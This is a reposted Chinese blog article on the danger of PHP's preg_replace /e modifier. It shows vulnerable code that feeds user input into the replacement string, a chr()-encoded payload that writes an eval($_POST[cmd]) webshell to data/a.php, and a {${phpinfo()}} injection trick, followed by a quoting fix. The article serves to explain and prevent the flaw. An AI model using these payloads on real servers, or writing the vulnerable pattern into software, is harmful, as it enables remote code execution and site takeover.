博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
慎用preg_replace危险的/e修饰符(一句话后门常用)
阅读量:4941 次
发布时间:2019-06-11

本文共 1952 字,大约阅读时间需要 6 分钟。

要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误
 
 

preg_replace函数原型: 

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) 
特别说明: 
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。 
举例: 

复制代码代码如下:
<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?> 
这将使输入字符串中的所有 HTML 标记变成大写。 
安全威胁分析: 
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如: 
复制代码代码如下:
<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?> 
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。 
如果我们提交下面的代码会怎么样呢? 
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97). 
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60). 
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91). 
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59)) 
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>); 
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。 
再来一个有难度的例子: 
复制代码代码如下:
<? 
function test($str) 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?> 
提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗? 
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。 
有没有办法让它执行呢? 
当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢? 
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。 
注意:双引号中的函数不会被执行和替换。 
在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。 
可以先做如下测试: 
复制代码代码如下:
echo "{${phpinfo()}}"; 
phpinfo会被成功执行了。 
如何防范这种漏洞呢? 
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

转载于:https://www.cnblogs.com/hechunhua/p/4319047.html

你可能感兴趣的文章
技术检验检测管理系统之样品检验模块概况(一)
查看>>
Swift - 用UIScrollView实现视差动画效果
查看>>
array中去重
查看>>
讨论ALL_ROWS模式和FIRST_ROWS模式
查看>>
类的相关判断函数
查看>>
分页存储过程
查看>>
codesmith 连接mysql
查看>>
网络站点
查看>>
鼠标点击 input,显示瞬间的边框颜色,对之修改与隐藏
查看>>
Builder
查看>>
原生的zfs在rhel6上的安装
查看>>
怎样设置mysql的表不区分你大写和小写
查看>>
12 —— node 获取文件属性 —— 利用 自调用 闭包函数 解决 i 丢失的问题
查看>>
.net Elasticsearch 学习入门笔记
查看>>
DIY 作品 及 维修 不定时更新
查看>>
SSM框架整合(IntelliJ IDEA + maven + Spring + SpringMVC + MyBatis)
查看>>
Python词云wordcloud模板
查看>>
放弃用你的InnerHTML来输出HTML吧,jQuery Tmpl不详细讲解
查看>>
PHPMailer邮件发送
查看>>
五、Java基础加强
查看>>